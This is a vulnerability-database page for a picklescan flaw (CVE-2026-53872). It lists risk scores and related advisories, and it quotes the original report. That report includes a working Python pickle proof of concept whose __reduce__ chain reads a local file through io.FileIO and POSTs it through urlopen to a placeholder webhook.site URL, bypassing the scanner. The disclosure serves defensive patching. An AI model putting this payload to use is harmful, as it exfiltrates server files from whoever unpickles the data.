CVE-2026-53872High· 7.5▾ Twilightpicklescan has Arbitrary file read using `io.FileIO`
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 2.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.5%
0.5% → 0.7%
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
io.FileIO: Opens local files without using builtins.open.
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
picklescan < 0.0.35Upgrade to a patched release:
picklescan 0.0.35Connected by shared product, vendor, weakness, or advisory.
GHSA-5v23-73v4-w2fpHigh· 7.5Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO`
CVE-2025-71357High· 8.1picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods
CVE-2025-71378High· 8.1picklescan before 0.0.30 fails to detect cProfile.runctx function calls in pickle file reduce methods, allowing attackers to execute arbitrary code
CVE-2025-71348High· 8.1picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods
CVE-2026-56304Mediumpicklescan vulnerable to arbitrary file create using logging.FileHandler
CVE-2026-53875HighPicklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER